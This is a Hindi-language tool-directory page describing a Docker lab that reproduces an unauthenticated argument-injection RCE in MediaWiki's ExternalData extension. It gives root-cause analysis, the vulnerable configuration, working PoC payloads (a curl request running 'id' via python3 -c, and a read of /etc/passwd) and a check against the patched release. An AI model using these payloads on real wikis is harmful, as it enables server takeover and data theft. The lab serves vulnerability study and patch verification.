Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
mediawiki-CVE-2026-100382 — Docker लैब जो CVE-2026-100382 को पुनः उत्पन्न करती है: MediaWiki ExternalData के #get_program_data में अनधिकृत argument-injection RCE, PoC payloads और patch verification के साथ। | Kitploit
उपकरण/GitHubGitHub/nth347/mediawiki-cve-2026-100382
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षाकमांड एंड कंट्रोललर्निंग और शिक्षालैब और अभ्यास
GitHubnth347/mediawiki-cve-2026-100382

mediawiki-CVE-2026-100382

Docker लैब जो CVE-2026-100382 को पुनः उत्पन्न करती है: MediaWiki ExternalData के #get_program_data में अनधिकृत argument-injection RCE, PoC payloads और patch verification के साथ।

रिपॉजिटरी देखें
36 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

लैब प्रतिकृति - CVE-2026-100382 (ExternalData OS कमांड इंजेक्शन)

यह लैब क्या है

  • MediaWiki 1.43 (आधिकारिक इमेज, SQLite) + ExternalData 3.6.1 (अंतिम संवेदनशील), ../mediawiki-extensions-ExternalData से read-only माउंट किया गया।
  • केवल लूपबैक: 127.0.0.1:${HOST_PORT} पर प्रकाशित (डिफ़ॉल्ट 8080)।
  • अनाम संपादन + action=parse सक्षम हैं (MediaWiki डिफ़ॉल्ट) - PoC को किसी लॉगिन की आवश्यकता नहीं है।

चलाएँ

cd lab
./up.sh        # installs, loads ExternalData 3.6.1, seeds vulnerable sources, prints URL
./down.sh      # docker compose down -v + wipe .env

(वास्तविक) संवेदनशील एडमिन कॉन्फ़िग

entrypoint.sh एक exec स्रोत को सीड करता है जो #get_program_data के प्रलेखित उद्देश्य को प्रतिबिंबित करता है - संपादकों के लिए एक सर्वर-साइड प्रोग्राम को उजागर करना, कमांड लाइन में एक उपयोगकर्ता पैरामीटर पास करना - बिना किसी प्रतिबंधात्मक param filters प्रविष्टि के (एक्सटेंशन को इसकी आवश्यकता नहीं है):

$wgExternalDataSources['chart'] = [
    'command' => 'python3 $options$ /srv/chart.py',   // user param interpolated
    'params'  => [ 'options' ],
    'format'  => 'text',
];

इच्छित उपयोग: {{#get_program_data: program=chart | options=--dpi=120 }} -> python3 --dpi=120 /srv/chart.py चलाता है।

मूल कारण पुनरावलोकन (यह क्यों सक्रिय होता है)

  • EDConnectorBase::supplementParams() उपयोगकर्ता पैरामीटर को विकी-व्यापी command टेम्पलेट में strtr के माध्यम से इंटरपोलेट करता है (EDConnectorBase.php:461-470,560)।
  • EDConnectorExe::__construct() फिर explode(' ', $command) करता है (EDConnectorExe.php:92) - इंटरपोलेट किया गया उपयोगकर्ता मान रिक्त स्थानों पर बिना किसी पुनः-कोटिंग के अलग argv टोकन में विभाजित हो जाता है।
  • run() Shell::command($command)->execute() निष्पादित करता है (EDConnectorExe.php:139)। Shell::command() प्रत्येक टोकन को शेल-एस्केप करता है, इसलिए शेल मेटाकैरेक्टर (;, |) निष्क्रिय हैं - यह आर्गुमेंट इंजेक्शन (CWE-88 / CWE-78) है, न कि भोली शेल इंजेक्शन। लक्ष्य प्रोग्राम (यहाँ python3 -c) के अतिरिक्त argv को नियंत्रित करने से पूर्ण कोड निष्पादन प्राप्त होता है।
  • नोट: एक कॉलर सीधे command प्रदान नहीं कर सकता - अंतर्निहित वाइल्डकार्ड * स्रोत command => null को बाध्य करता है, जो उपयोगकर्ता-प्रदत्त command को हटा देता है। इसलिए वेक्टर एडमिन-परिभाषित कमांड में पैरामीटर इंटरपोलेशन है।

कंसोल आउटपुट (शब्दशः)

दायरा: शेल मेटाकैरेक्टर एस्केप किए गए हैं (आर्गुमेंट इंजेक्शन, शेल इंजेक्शन नहीं)

$ payload: {{#get_program_data: program=greet | name=World; id | data=out=__text }}{{#external_value: out }}
Hello World; id

व्हाइटस्पेस एक पैरामीटर को कई argv टोकन में विभाजित करता है

$ payload: {{#get_program_data: program=greet | name=a b c | data=out=__text }}{{#external_value: out }}
Hello a b c

RCE - वेब उपयोगकर्ता के रूप में मनमाना कमांड निष्पादन (अप्रमाणित)

$ curl -sS http://127.0.0.1:8080/api.php \
    --data-urlencode action=parse --data-urlencode format=json \
    --data-urlencode contentmodel=wikitext \
    --data-urlencode "text={{#get_program_data: program=chart | options=-c __import__('os').system('id') | data=out=__text }}{{#external_value: out }}"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

मनमाना फ़ाइल पठन

$ options=-c print(open('/etc/passwd').read())
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

पैच के विरुद्ध नकारात्मक परीक्षण (लूप बंद करता है)

माउंट किए गए एक्सटेंशन को टैग 3.7 में बदलकर और वही पेलोड पुनः चलाकर:

The class EDConnectorExe is disabled: instead of giving access to a local program,
consider using web access to a containerised application ... To enable it, a wiki
administrator will have to remove this class from the $wgExternalDataDisabledClasses
configuration setting.

3.7 डिफ़ॉल्ट रूप से EDConnectorExe को अक्षम कर देता है ($wgExternalDataDisabledClasses, Bug T434961)। चेतावनी: सिंक कोड अपरिवर्तित है - एक विकी जो #get_program_data का उपयोग जारी रखने के लिए उस सूची से EDConnectorExe को हटा देता है, वह पूरी तरह से शोषणीय बना रहता है।

टूल डाउनलोड करें